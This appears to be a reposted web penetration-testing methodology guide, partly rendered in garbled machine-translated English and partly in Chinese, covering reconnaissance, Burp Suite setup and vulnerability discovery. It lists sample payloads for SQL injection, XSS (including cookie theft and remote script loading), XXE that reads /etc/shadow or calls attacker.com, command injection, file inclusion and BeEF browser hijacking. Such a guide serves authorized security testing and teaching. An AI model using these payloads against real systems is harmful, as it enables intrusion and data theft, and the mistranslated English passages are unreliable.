WEB testing, penetration testing

0x00 Preamble

This note is a summary of the Web application penetration in the classic steps. I will break down into sub-tasks these steps one by one and recommend and introduce tools available for each sub-task.

Many of the techniques presented in this article from here , the author has allowed reprint.

Remember that these are the steps I described iteration, so in a penetration process, you may use them more than once. For chestnuts, when you try to get an application different levels of authority, such as ordinary users to upgrade from an administrator user, you may need to use iteration.

Finally, the preamble should be noted that in many places this note uses PortSwigger charges of Burp Suite Professional . I am sorry, but I think this tool is worth it.

0x01 Information Collection

In a Web infiltration process, the purpose of the information collected is standing spectator point of view, to understand the whole picture of Web applications.

1. Objectives confirmed

tool Brief introduction
Whois Based on RFC 3912, is used to query information about the domain name protocol.
You The domain information obtaining tool (Domain information groper) for short, is a command-line tool for network management query DNS servers.
DNSRecon DNS enumeration automated script by darkoperator maintenance.

1.1 domain name registration information

Confirm the target owner information through the following steps:

  1. Whois target domain / hostname
    whois example.com
  2. IP address resolution target domain / host name
    dig +short example.com
  3. Whois IP address
    whois 104.27.178.12
  4. Analysis output

If the target turned whois privacy protection, the result may return is the result of confusion.

! ! Do not attack unauthorized sites. As a penetration tester, we have the responsibility to clear before the test they have not been given permission to target owners of the target to be tested. This is why the goal is to begin to penetrate the first step to confirm the test.

1.2 DNS information inquiry

I like to go  https://dnsdumpster.com/  query the destination site's DNS information, which is a very good online information DNS query tool.

  • Forward inquiry
dig +nocmd example.com A +noall +answer
dig +nocmd example.com NS +noall +answer
dig +nocmd example.com MX +noall +answer
dig +nocmd example.com TXT +noall +answer
dig +nocmd example.com SOA +noall +answer
...
dig +nocmd example.com ANY +noall +answer (This rarely works)
  • Reverse Lookup
dig -x 104.27.179.12
dig -x 104.27.178.12

1.3 Test Vulnerabilities domain transfer

DNS domain transmission is a transaction for copying records from the DNS server in the main room. (Translator's Note: You can see this ), although now rare host will open, but should still make sure. Once the domain transfer loophole, it means you get all the records for the entire domain below.

Domain transfer loophole easily be avoided. The administrator can set at least to allow only the IP list field can be white list transmission request.

  • Examples of Use
dig -t NS zonetransfer.me +short
dig -t AXFR zonetransfer.me @nsztm1.digi.ninja 
dig -t AXFR zonetransfer.me @nsztm2.digi.ninja
  • DNSRecon can be automated, and often return more additional information.
dnsrecon -d example.com

2. OSINT public intelligence gathering

tool description
Recon-NG Tim 'Lanmaster53' public information tool framework Tomes wrote, maintained by the community. http://recon-ng.com/
Maltego Maltego is an interactive data mining tools, which can render showing a correlation analysis.
Thehrvester theHarvester can collect mail from a variety of public resources, the sub-domain name, web hosting, open port / host fingerprint and employee names and other information

I wanted to include a detailed description OSINT in this note, but thought the decision not to do so. Because I think this part can write an individual (probably after a few in in).

In this note I will introduce some great dry goods on OSINT, I think penetration testers should be very familiar to those dry goods:

0x02 Mapping

In a penetration test process, Mapping a general purpose standing user's point of application to understand the whole picture.

1. Tools

tool Introduction
Nmap TCP / IP host and port scanner with service recognition and OS fingerprinting

1.1 port scanning, service identification, OS recognition

  • No. 1000 TCP port scan ago
    nmap 192.168.100.2
  • 8 Ping Scan local host (by ARP, ICMP, TCP sequence 80)
    nmap –sP 192.168.100.0-7
  • 80,443 port scan
    nmap -p 80,443 192.168.100.2
  • No. 1000 TCP port before scanning, OS fingerprinting, service, and then run a script NSE
    sudo nmap -A 192.168.100.2
  • Scan all 65,535 TCP ports, OS fingerprinting, service, and then run a script NSE
    sudo nmap –A –p- 192.168.100.2
  • No. 1000 UDP port scan ago
    sudo nmap -sU 192.168.100.2
  • UDP port scan all 65535
    sudo nmap -sU –p- 192.168.100.2
  • Scan all 65535 UDP ports, and access to services, OS fingerprinting, and then run some scripts NSE
    sudo nmap –sU -p- -A 192.168.100.2

! Port scanning is often permeate the process of transition in first and second. Pay close attention to exposed ports, services version, and OS / s!

2. browser proxy settings

2.1 Firefox

tool description
Firefox A modern cross-platform browser, there are many useful plug-ins

FirefoxWeb penetration testing process is usually the first choice in the browser, because it has a lot of useful plug-ins and its proxy settings will not affect the global proxy.

2.2 Firefox plug-in

tool description
User Agent Switcher A user can quickly switch the proxy Firefox add-ons
Wappalyzer You can detect the plug-in technology and software components used in a wide variety of websites
FoxyProxy Agent Switcher plugin

I always get these plug-ins can be used in each penetration testing process, I recommend that you install them in well before the second step (Mapping).

Configure Firefox 2.3 and Burpsuit

Before you make Mapping you must configure the agent to the browser, allowing traffic through Burp.

  • inFirefox

    • Configure the pluginFoxyProxy

      • IP: 127.0.0.1
      • Port: 8080
    • Configuring FirefoxSSL certificate of trust Burp

      • turn onhttp://burp/
      • Save certificate
      • Import the certificateFirefox

2.4 Burp Configuration

tool description
Burp Suit Pro Web security test suite

You should configure Burp let him suit their own preferences. But at least I recommend that you set up Scan Speedto thorough, so that you will send more requests in order to scan more loopholes when using the scanner.

2.5 Burp extension

tool description
Burp Extender API used to extend the functionality of Burp suite, you can get in the store BApp
Retire.js (BApp) Burp suite for Javascript vulnerability detection component version backward extension
Wsdler (Bapp) Can parse WSDL file, then all of the test method allows a request
Python Scripter (BApp) It may be performed for a user-defined each HTTP request and response Python scripts

These Burpextensions are the ones I used in the penetration testing process. And Firefoxexpansion, I suggest that you installed them before Mapping.

They may be used Burp Suite Proin the Burp Extendermodule mounting.

3. Browse artificial

Browse artificial Mapping process may be the most important part. You need to go through each page, click on the page each jump, so these requests and responses may appear in the sitemap Burp inside.

! ! ! Browse by hand very, very important for single-page application. Automated web crawlers can not climb a single-page application as a single-page application HTTP requests are using asynchronous AJAX carried out.

4. Automated crawling

Use automated crawling is Burp Spidercarried out, this process can be found in some of the pages you browse manually not found. Generally Burp Spider will find more pages in traditional Web applications.

! ! ! Automated crawler is very dangerous. I usually manually browse 80% to 95% of the page, only a small part of the crawling reptiles. Because reptiles are prone to failure under certain circumstances.

The subsequent analysis

This time you should use Burpto complete the first iteration Mapping this step, you should pay attention to all of the information currently available.

5.1 require special attention

  • Web server
  • Web software architecture (technology stack)
  • Programming language
  • frame
  • Design Patterns

This time you can pay attention to some points need to function a specific page jump. Usually these functions points can be manually manipulated so that it does not fulfill the specific hopping sequence can be achieved, this allows you to have a major discovery. (For Chestnut, e-commerce site payment function, password reset page, etc.)

0x03 vulnerability mining

In a penetration testing, vulnerability discovery is in an attacker's perspective to understand the whole picture of Web applications.

1. Transition

After After you Mapping, and carried out some basic analysis functionality, you can start digging a loophole. This step, you should recognize the existence of as many Web application vulnerabilities. These vulnerabilities are not The OWASP Top 10included in those, also included in the application's business logic. Remember that you will encounter a lot of loopholes, it does not belong to any one of the existing categories, you should always be alert to this.

2. Content Mining

2.1 Vulnerability Scanning

name description
Nobody Fingerprint recognition of Web services vulnerability scanner

NiktoWorthy of the best of Web services vulnerability scanner, especially in the performance of large-scale Web applications very well. It can take advantage of -Formatthe option to export the scan results for a specific format, the scan results easier to read and analyze.

  • Scan goal and export the results to HTML
    nikto -h http://example.com -output ~/nikto.html -Format htm

Vulnerability scanning is usually second and third steps of the transition. Once you have the results of the scan, you must take time to analyze the results, open the page to see some striking.

3. Force the browser (Translator's Note: It feels very awkward translation, see the following content should be able to understand what it means)

name description
Burp Engagement Tools Burp Suite Pro comes with special-purpose tools
Engagement Tool: Discover Content Burp Suite Pro comes with a tool for forcing browsing
Burp Intruder Modular automation attacks Burp Suite for customizable. (Such as brute forcing, injection, etc.)
FuzzDB It contains various malicious input, resource name, grep search for content in response to a string, Webshell and so on.

强制浏览是一种挖掘技巧,它可以发现应用程序中没有被引用但是确实是可以访问的页面。Discover ContentBurp中专门用于此目的的工具。除此之外,Burp Intruder也可以通过字典攻击来实施强制浏览(通常是在url参数和文件路径部分进行修改)。FuzzDB包含一些用于此目的的非常牛逼的字典,你可以在这里看看。

3.1 测试可选内容

名称 描述
User Agent Switcher 用于迅速切换浏览器的User Agent的一款Firefox插件
Burp Intruder Burp Suite中可自定义的用于自动化的攻击的模块。(比如brute forcing, injection, 等)
FuzzDB 包含各种恶意输入、资源名、用于grep搜索响应内容的字符串、Webshell等。

在内容挖掘这一步,我非常喜欢做一件事。那就是利用User Agent Switcher切换不同的User Agent然后访问同一个特定页面。这是因为很多的Web应用对于不同的User-AgentReferer请求头会返回不同的内容。

我经常使用Burp Intruder来模糊测试User-AgentReferer请求头,一般还利用FuzzDB的字典。

4. 自动化的漏洞挖掘

名称 描述
Burp Scanner 自动化扫描安全漏洞的Burp Suite工具

当你在Mapping和进行漏洞挖掘的开始部分时候,Burp Passive Scanner就已经在后台悄悄运行。你应该先分析这份扫描结果,然后再进行Burp Active Scanner,这样在Burp Passive Scanner中发现的值得关注的页面就可以在Burp Active Scanner中进行详细的扫描。

由于Burp Active Scanner完成所需的时间非常长,我更喜欢只允许一小段时间,然后查看两者之间的扫描结果并记录结果。

!!!自动化的漏洞扫描是很危险的。用Burp Scanner可能导致不良的影响。除非你非常熟悉目标的功能与环境,否则你只应在非生产环境中使用。

5. 配置

5.1 默认配置

在确认了目标所使用的技术后,很自然的一步跟进就是测试有没有默认配置。许多框架使用许多易受攻击默认配置的应用程序以便于向开发人员介绍他们的产品。然后由于开发人员的疏忽,这些示例应用被部署到和目标站点所在的同一台服务器上,这使得目标站点承受很大的风险。

5.2 错误配置

在Web渗透测试的每一步,你都应该注意Web应用有没有错误的配置。你可以特别关注页面出现的错误信息,这些信息经常会给出很有用的数据库结构服务器文件系统等信息。

错误信息几乎总能够发现一些。这些错误信息在注入和LFI(Local File Include)中特别有用。

另外一个值得注意的是页面的敏感表单有没有禁用自动填充。比如密码字段经常会有一个“显示/隐藏”按钮。浏览器默认不会填充type="password"input标签内容,而当密码字段是“显示”时,input标签就变成了type="text",这样浏览器就会进行自动填充。这在多用户环境下是一个隐患。

6. 身份认证

在漏洞挖掘过程中,你应该认真审视你看到的每个登录表单。如果这些表单没有做很好的安全措施(比如双重认证,验证码,禁止重复提交等),攻击者就可能得到用户账户未授权的权限。取决于表单的不同实现以及不同的框架/CMS,即使登录失败目标站点也可能会透露出用户账户的一些信息。

如果你测试发现了上述所讨论的问题,你应该关注并记录。另外,如果登录表单没有加密(或者利用了旧版本的SSL/TLS),这也应该关注并记录。

6.1 模糊登录测试

名称 描述
CeWL 通过爬取目标站点来生成用户字典的工具
Burp Intruder Burp Suite中可自定义的用于自动化的攻击的模块。(比如brute forcing, injection, 等)

在你认真审视了登录表单后,就可以开始登录测试了。CeWL是一款非常好用的用于生成一次性字典的工具。你可以利用-h查看帮助文档。

基本语法如下

cewl [options] www.example.com

当你构造好用户字典后就可以开始用Burp Intruder进行实际的模糊测试了。通常我会用两个payload集(一个是用户名的,另一个是CeWL生成的密码)。Intruder的Attack Type通常应该选Cluster Bomb

7. Session管理

Session-token/Cookie分析在渗透测试过程中虽然不是很吸引人的部分,但确实非常重要的一块。通常是这样子的,你想了解整个web应用是如何跟踪Session,然后用Burp Sequencer这样的工具去测试session token的随机性/可预测性。一些应用(较传统的应用)会把session的内容存储在客户端。有时候这些数据里面会包含有加密的,序列化的敏感信息。

这时也应该检查HTTP返回头的Set-Cookie是否包含SecureHttpOnly的标识。如果没有的话就值得注意了,因为没有理由不设置这些标识位。

Google搜索你得到的session token,可能会有一些发现,比如Session可预测等,这样就可以进行Session劫持攻击。

7.1 用Burp测试Session Tokens

名称 描述
Burp Sequencer Burp用来分析数据集的随机性的模块

Burp Sequencer是用来测试Session Token随机性和可预测性的很好的工具。当你用这个工具来测试目标的Session管理时,你应该先清除所有的Cookies,然后重新认证一次。然后就可以把带有Set-Cookie头的返回包发送给Burp Sequencer,然后Sequencer就会启动新的拦截对Token进行分析。通常10000次请求就差不多可以判断随机性和可预测性了。

如果发现Session token不够随机,那就可以考虑Session劫持了。

8. 授权

授权漏洞很像功能级访问控制缺失不安全的直接对象引用漏洞,是很长一段时间我发现的最流行的漏洞。这是因为许多的开发者没有想到一个低权限甚至是匿名用户会去向高权限的接口发送请求(失效的权限控制)。

http://example.com/app/admin_getappInfo

或者是去请求其他用户的数据(不安全的直接对象引用,译者注:水平越权)

http://example.com/app/accountInfo?acct=notmyacct

8.1 测试权限控制

名称 描述
Compare Site Maps Burp的用于测试授权的模块

这里有个小技巧,就是注册两个不同权限的用户,然后用高权限的用户去访问整个Web应用,退出高权限用户,登录低权限用户,然后用Burp的Compare Site Maps工具去测试哪些页面的权限控制没有做好。

9. 数据验证测试

名称 描述
Burp Repeater 用于手工修改、重放HTTP请求的Burp模块

注入漏洞的存在是因为Web应用接受任意的用户输入,并且在服务端没有正确验证用户的输入的有效性。作为一个渗透测试者,你应该注意每一个接受随意的用户输入的地方并设法进行注入。

因为每个Web应用情况都不一样,所以没有一种万能的注入方式。接下来,我会把注入漏洞进行分类并且给出一些Payload。Burp Repeater是我测试注入漏洞时最常使用的工具。它可以重放HTTP请求,并且可以随时修改Payload。

有一件事需要谨记:漏洞挖掘阶段要做的只是识别漏洞,而漏洞利用阶段才会利用漏洞做更多地事。当然,每个注入漏洞都值得被记录,你可以在漏洞挖掘阶段之后对这些注入漏洞进行深入的测试。

在每个分类下可以参照OWASP获取更多地信息。

9.1 SQLi

任何将输入带入数据库进行查询的地方都可能存在SQL注入。结合错误的配置问题,会导致大量的数据被攻击者盗取。

我推荐你在做SQL注入时参照这个Wiki。如果你输入了这些Payload得到了数据库返回的错误信息,那么目标就非常有可能存在SQL注入漏洞。

Sqlmap是一款自动化的SQL注入工具,我将会在漏洞利用阶段介绍它。

OWASP-测试SQL注入)

  • 示例
' OR 1=1 -- 1
' OR '1'='1
' or 1=1 LIMIT 1;-- 
admin';--

http://www.example.com/product.php?id=10 AND 1=1

9.2 跨站脚本攻击(XSS)

攻击者利用Web应用程序发送恶意代码(通常是JavaScript代码)给另外一个用户,就发生了XSS。

有三种不同的XSS:

  1. 存储型。当提供给Web应用的数据是攻击者事先提交到服务器端永久保存的恶意代码时,发生存储型XSS。
  2. 反射型。当提供给Web应用的数据是服务端脚本利用攻击者的恶意输入生成的页面时,发生反射型XSS。
  3. DOM型。DOM型XSS存在于客户端的脚本。

OWASP-测试XSS

  • 示例
<IMG SRC=javascript:alert('XSS')>
"><script>alert('XSS')</script><"
" onmouseover="alert('XSS')

http://server/cgi-bin/testcgi.exe?<SCRIPT>alert(“Cookie”+document.cookie)</SCRIPT>
%3cscript src=http://www.example.com/malicious-code.js%3e%3c/script%3e

9.3 XML 注入

当Web应用的XML解析器没有正确的验证攻击者传入的XML文档,就会发生XML注入。

OWASP-测试XML注入)

  • 示例
Username = foo<
Username = foo<!--

9.4 XML实体注入(XXE)

若实体的定义是一个URI,那么这个实体就叫做外部实体。除非特别配置,不然外部实体会导致XML解析器去请求这个URI。比如请求本地或远程的一个文件。

<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>

9.5 模板注入

模板注入就是攻击者利用模板的语法注入恶意代码。

Portswigger-服务端模板注入

  • 示例
<%= 7 * 7 %>
{{ 7 * 7 }}

9.6 命令注入

用户注入操作系统的命令到Web应用程序并被执行,就发生了命令注入。

OWASP-测试命令注入)

  • 示例
http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|
http://sensitive/something.php?dir=%3Bcat%20/etc/passwd

Doc=Doc1.pdf+|+Dir c:\

9.7 恶意重定向

当应用没有检查用户可控输入时,攻击者输入了恶意的URL并被应用接受时发生。

OWASP-测试客户端恶意重定向)

  • 示例
http://www.target.site?#redirect=www.fake-target.site 
http://www.target.site??url=http://www.fake-target.site

9.8 本地文件包含(LFI)

LFI指的是Web应用允许包含本地服务器端存在的文件。

OWASP-测试本地文件包含

  • 示例
http://vulnerable_host/preview.php?file=../../../../etc/passwd
http://vulnerable_host/preview.php?file=../../../../etc/passwd%00

9.9 远程文件包含(RFI)

RFI指的是Web应用允许包含远程服务器上存在的文件。

OWASP-测试远程文件包含

  • 示例
http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page

10. 逻辑漏洞

想要发现逻辑漏洞,你必须对目标非常了解。只有你对目标的功能都是怎么使用有了了解后,你才能推想哪里有可利用的地方。测试逻辑漏洞时,可以回想作为普通用户是如何使用Web应用的功能的,是如何一步一步完成各种动作的,然后你要做的就是不按照这些步骤来。

此外,这时候也可以测试下输入一些不切实际的值。(比如一款健生app,用户输入自己的跑步里程)。

这时也可以测试非法文件上传

11. 加密算法漏洞

名称 描述
SSLyze TLS/SSL分析工具

测试Web应用的TLS/SSL实现的质量,我推荐先去这里,如果搞不到,可以用SSLyze

  • 示例
sslyze --regular www.example.com

分析的目的可以归结为:

  1. 目标是否使用了某种形式的加密手段。
  2. 目标使用的加密手段是否已经过时(TLS 1.2, SSL2/SSl3)。

这时候也应该注意目标是否用了脆弱的加密算法(MD5,RC4等),是否支持正向加密(译者注: 一次一密)等。

12. 拒绝服务

拒绝服务是利用某种手段让目标无法为合法用户提供服务。拒绝服务的类型包括用户文件上传(上传巨大文件)到用户账户锁定(为了防止登录爆破)等。

如果存在载入很慢的页面或者是Ajax请求很卡,那么就意味着这个地方可能会被用于拒绝服务攻击。

13. Flash漏洞

名称 描述
Firefox Developer Tools Firefox浏览器自带的用于诊断、审计、调试客户端代码的工具
JPEXS (FFDec) 开源的SWF文件反汇编工具

如果目标使用了flash或者其他的需要编译的客户端技术(如silverlight),那么你应该下载下来然后利用JPEXS FFDec这样的反汇编工具来审计他们的源代码。如果你成功的对他们进行了逆向工程,你可能会发现一些隐藏的漏洞。

0x04 测试Web服务

Web服务用于机器之间的数据交换,他们应该用之前介绍的方法进行测试(Mapping->漏洞挖掘->漏洞利用),可以用Burp对请求进行拦截,然后分析接口返回的数据。

1. 测试REST服务

如果有文档的话,测试REST服务之前应该阅读它。当然,这通常是白盒测试或者是灰盒测试时的做法,或者你想更深入的进行测试时也可以这么做。

在黑盒测试过程中,我们可以用burp拦截请求和响应,观察JSON格式的响应信息来了解接口的作用,但是这个过程非常麻烦,不是很推荐。

因为REST使用http协议,所以我们也可以测试之前的一些漏洞比如SQLi和XSS。

测试REST服务时可以参考以下文章:

2. 测试SOAP服务

名称 描述
Wsdler (BApp) 可以解析WSDL文件,然后测试所有的允许的方法的请求

尽管如今我在渗透测试中观察到REST服务比SOAP服务更多,但还是应该注意它。

基于SOAP的Web服务有一点很好,就是他是通过WSDL文件自描述的。你可以用Wsdler (BApp)这样的工具来解析WSDL文件,然后用Burp Repeater来发送测试请求。

和REST一样,我们也可以测试之前的一些漏洞比如SQLi和XSS。

  • 检查任何一个在mapping和漏洞挖掘时发现的和服务有关的路径

  • 查看WSDL文件获取接口信息然后导入Burp

  • 在Burp Proxy的历史标签页,把WSDL文件通过Parse WSDL右键选项加入到Wsdler扩展

  • 发送测试请求给Repeater,观察服务如何工作

测试SOAP服务时可以参考:

0x05 漏洞利用

在漏洞利用阶段,是利用之前发现的漏洞,评估他们影响范围与风险。

简单来说,这一步就是查阅之前步骤中你所发现与记录的信息,尽可能深地利用发现的漏洞。有时在漏洞利用过程中,你可能需要更高的权限才能进行下去,这时你应该返回去,从mapping步骤开始重新迭代之前的过程。

下面是一些示例场景,但这一步是非常独特的。

1. 利用场景

2. 利用XSS

2.1 浏览器劫持

名称 描述
BeEF 基于web的XSS平台

如果你发现目标应用确实存在XSS漏洞,这时你可以试试是否可以用BeEF这样的工具来控制目标浏览器。

可以参考这篇

你可以使用自己的浏览器来验证XSS漏洞的危害性当你向客户展示你发现的XSS漏洞时。

Guess you like

Origin www.cnblogs.com/cs1188/p/11514238.html